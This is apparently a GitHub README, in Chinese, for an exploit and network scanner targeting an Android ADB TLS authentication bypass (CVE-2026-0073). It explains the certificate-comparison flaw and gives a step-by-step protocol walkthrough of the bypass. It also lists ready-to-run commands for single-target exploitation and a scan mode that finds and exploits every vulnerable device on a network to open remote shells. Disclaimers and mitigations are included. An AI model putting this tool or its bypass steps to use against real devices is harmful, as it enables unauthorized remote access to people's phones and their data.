unnaim/adbHijacker
GitHub: unnaim/adbHijacker
针对 Android ADB TLS 身份验证逻辑缺陷(CVE-2026-0073)的概念验证工具,包含单目标漏洞利用和网络批量扫描功能,可实现对未修补设备的零点击远程 shell 访问。
Stars: 1 | Forks: 0
# CVE-2026-0073 — Android ADB TLS 身份验证绕过
**CVE-2026-0073** 的概念验证漏洞利用和网络扫描工具。该漏洞是 Android `adbd` 的 ADB-over-TCP 身份验证路径中的一个严重的零点击、无需交互的远程代码执行漏洞。
该漏洞是 `adbd_tls_verify_cert()`(`daemon/auth.cpp`)中的一个逻辑缺陷,其中 `EVP_PKEY_cmp()` 被视为布尔谓词。当存储的 RSA 密钥与非 RSA TLS 客户端证书(EC P-256 或 Ed25519)进行比较时,该 API 返回 `-1`(类型不匹配),这在 C/C++ 中属于*真值*。这导致跨算法不匹配被误判为成功的主机密钥匹配——从而完全绕过身份验证。
**技术细节获取自 [BARGHEST](https://barghest.asia/blog/cve-2026-0073-adb-tls-auth-bypass)。**
**基础 PoC 代码源自 [SecTestAnnaQuinn](https://github.com/SecTestAnnaQuinn/CVE-2026-0073-Android-adbd-authentication-bypass-POC)。**
**已在 2026 年 5 月的 Android 安全公告中修复。**
## 影响
| 属性 | 详情 |
|-----------|--------|
| **攻击向量** | 网络(相邻/近距离) |
| **交互** | 无(零点击) |
| **获取权限** | `shell` 用户 (uid=2000),SELinux `u:r:shell:s0` |
| **漏洞利用原语** | 通过 ADB 进行远程 shell 访问 |
| **CVSS** | 严重 (9.8) |
在 `shell` 上下文中,攻击者可以检查系统属性、进程状态、日志、通知;安装和卸载软件包;对可调试应用使用 `run-as`;以及为后续漏洞利用做好准备。
## 文件
| 文件 | 用途 |
|------|---------|
| `adb_tls_auth_bypass.py` | 单目标漏洞利用 PoC(原始版本来自 SecTestAnnaQuinn,经 checksum 修补) |
| `adbt_scanner.py` | 网络扫描器 — 发现易受攻击的设备并对其进行漏洞利用 |
| `requirements.txt` | Python 依赖项 |
## 前置条件(目标设备)
要成功利用此漏洞,目标 Android 设备必须具备:
1. 已启用 **开发者选项**
2. 已启用 **无线调试** 或 ADB-over-TCP(平台 `adbd` TCP 服务)
3. `/data/misc/adb/adb_keys` 中至少有 **一个先前配对的 RSA 主机密钥**
4. 到 ADB TCP 端口(默认 5555)的 **网络可达性**
## 设置
```
# 创建虚拟环境
uv venv
# 激活它
source .venv/bin/activate
# 安装依赖
uv pip install -r requirements.txt
```
**依赖项:**
| 软件包 | 使用者 | 必需? |
|---------|---------|-----------|
| `cryptography` | 两个脚本(EC 证书生成,TLS) | **是** |
| `netifaces` | 扫描器(子网检测) | 推荐 |
| `zeroconf` | 扫描器(mDNS 发现) | 推荐 |
| `scapy` | 扫描器(ARP 扫描) | 推荐 |
当缺少可选软件包时,扫描器会优雅降级——它将发出警告并回退到替代方法(系统 `ip` 命令、`nmap`、TCP 连接扫描)。
## 使用方法
### 模式 0 — 直接单目标漏洞利用
直接攻击已知的易受攻击设备。
```
python3 adb_tls_auth_bypass.py 192.168.1.42 # interactive shell
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"
```
或通过扫描器:
```
python3 adbt_scanner.py --host 192.168.1.42 # interactive shell
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"
```
### 模式 1 — 扫描网络,识别,利用
扫描本地网络以查找易受攻击的设备,并对所有已确认的目标进行漏洞利用。
```
# Full scan: mDNS → ARP → port scan → ADB probe → exploit
python3 adbt_scanner.py --scan
# 在所有易受攻击的设备上运行特定命令
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"
# 仅 Recon — 发现但不利用
python3 adbt_scanner.py --scan --no-exploit
# 扫描多个端口
python3 adbt_scanner.py --scan --ports 5555,5580,5037
# 覆盖检测到的子网(multi-homed hosts,特定范围)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24
# 为慢速网络调整 timeouts
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10
# 扩展 mDNS 监听窗口
python3 adbt_scanner.py --scan --mdns-timeout 60
# 跳过特定的发现阶段
python3 adbt_scanner.py --scan --no-mdns # skip mDNS, ARP only
python3 adbt_scanner.py --scan --no-arp # skip ARP, mDNS only
```
### 扫描器 CLI 参考
```
--scan Scan network for vulnerable devices + exploit
--host HOST Direct single-target exploit
--port PORT ADB port for --host mode (default: 5555)
--cmd COMMAND Shell command to run
-v, --verbose Verbose logging
--mdns-timeout SECONDS mDNS listen duration (default: 30)
--ports PORTS Comma-separated ports in --scan mode (default: 5555)
--subnet CIDR Override detected subnet (e.g. 192.168.2.0/24)
--connect-timeout SECONDS TCP connect timeout (default: 2.0)
--probe-timeout SECONDS ADB probe timeout (default: 3.0)
--arp-timeout SECONDS ARP sweep timeout (default: 3)
--no-mdns Skip mDNS discovery
--no-arp Skip ARP sweep + port scan
--no-exploit Stop after ADB protocol probe phase
```
### 发现流程
```
┌─────────────────────────────────────────────────────────────┐
│ 1. Subnet detection — netifaces → ip route → socket trick │
│ 2. mDNS listener — _adb-tls-connect._tcp (30s default) │
│ 3. ARP sweep — scapy.arping → nmap -sn │
│ 4. Port scan — TCP connect to each host:port │
│ 5. ADB protocol probe — send CNXN, classify response │
│ │
│ STLS → VULNERABLE (proceed to exploit) │
│ AUTH → legacy ADB auth (not this CVE) │
│ CNXN → open, no auth (already accessible) │
│ NO_ADB → not an ADB service │
│ │
│ 6. Exploitation — TLS upgrade → auth bypass → shell │
└─────────────────────────────────────────────────────────────┘
```
mDNS 是最准确的识别方法:当无线调试配对时,Android 会显式广播 `_adb-tls-connect._tcp`。ARP 扫描 + 端口扫描作为通用的备选方案。
## 漏洞利用机制
```
Phase 1 — cleartext ADB
Client → CNXN(payload="host::features=...")
Device → STLS (upgrade to TLS required)
Phase 2 — TLS 1.3 with cross-algorithm client cert
Client → STLS reply
Client → TLS 1.3 handshake + EC P-256 client certificate
Device calls adbd_tls_verify_cert():
known_evp = RSA key from /data/misc/adb/adb_keys
evp_pkey = EC P-256 key from client certificate
EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (type mismatch)
if (-1) → verified = true ← BUG: -1 is truthy
Phase 3 — Post-TLS ADB service layer
Client drains device CNXN (transport already online)
No host CNXN sent (would trigger handle_new_connection kick)
Client → OPEN(local_id, window=32MB, payload="shell:\x00")
Device → OKAY → shell stream established
```
## 威胁模型
### 直接网络暴露
- 在不受信任的网络(咖啡厅、办公室、会议室)中保持启用无线调试
- 在端口 5555 上暴露于互联网的 ADB(在暴露情况研究期间,仅韩国就观察到超过 10,000 台设备)
### 恶意软件辅助的状态创建
- 设备上的恶意软件利用 Accessibility Service 启用开发者选项,激活无线调试,并配对主机密钥——为网络同伴进行远程利用准备好设备
## 局限性
- **非 root 权限。** 该漏洞利用提供 `shell` (uid=2000) 上下文。内核入侵、root 访问权限和硬件支持的密库密钥需要进一步的提权。
- **需要已配对的密钥。** 目标必须在 `/data/misc/adb/adb_keys` 中至少拥有一个 RSA 主机密钥。已启用无线调试但*从未配对*的全新重置设备不易受此攻击。
- **需要 STLS 路径。** 通过传统(非 TLS)机制通过 TCP 提供 ADB 的设备会使用 `AUTH` 而不是 `STLS` 进行响应,且不受此 CVE 影响。
- **已修补的设备免疫。** 2026 年 5 月的 Android 安全公告包含一项修复,将 `EVP_PKEY_cmp` 检查更改为要求精确的 `== 1` 返回值。
## 缓解措施
- 应用 **补丁**。
- 在不 actively 需要时禁用开发者选项。
- 禁用无线调试。
- 不要在本地受信任网络之外暴露 ADB。
## 参考资料
- [Android 安全公告 — 2026 年 5 月](https://source.android.com/docs/security/bulletin/2026/2026-05-01)
- [BARGHEST 的技术分析](https://barghest.asia/blog/cve-2026-0073/)
- [Android 致谢](https://source.android.com/docs/security/overview/acknowledgements)
- [BoringSSL 提交 — EVP_PKEY_cmp 返回值标准化](https://boringssl.googlesource.com/boringssl/+/3975388935512ea017024973924cfaf06f5b7822)
- [Morpheus 间谍软件报告 — Osservatorio Nessuno](https://osservatorionessuno.org/blog/2026/04/morpheus-a-new-spyware-linked-to-ips-intelligence/)
- [MESH — BARGHEST 的 Android 安全工具](https://github.com/BARGHEST-ngo/MESH)
## 免责声明
本软件仅用于**教育和授权的安全研究目的**。本存储库中的工具和代码旨在帮助安全专业人员、研究人员和设备所有者:
- 了解 CVE-2026-0073 在协议层面是如何运作的
- 审计和评估他们自己的设备和网络
- 开发和测试缓解措施
**您不得将本软件用于:**
- 攻击任何您不拥有或未获得明确书面测试许可的设备或网络
- 任何非法目的或违反适用法律的行为
- 未经授权访问、修改或提取数据
未经授权访问计算机系统在大多数司法管辖区都是非法的,可能会导致刑事和民事处罚。作者和贡献者对因使用本软件而引起的误用、损害或法律后果**不承担任何责任**。
**负责任地使用。了解您的目标。获取许可。**
## 许可证
[CC0 1.0 Universal](https://creativecommons.org/publicdomain/zero/1.0/) — 无版权保留。
在法律允许的范围内,作者已放弃本作品的所有版权及相关或邻接权利。
标签:ADB调试, Android安全, CISA项目, CVE-2026-0073, GraphQL安全矩阵, Maven, PoC, Python, RCE, SELinux, TLS证书校验缺陷, Zero-Click, 安全扫描器, 提权, 无交互攻击, 无后门, 暴力破解, 漏洞验证, 目录枚举, 移动安全, 编程工具, 网段扫描, 网络安全, 身份验证绕过, 远程代码执行, 逆向工具, 隐私保护, 零点击漏洞, 高危漏洞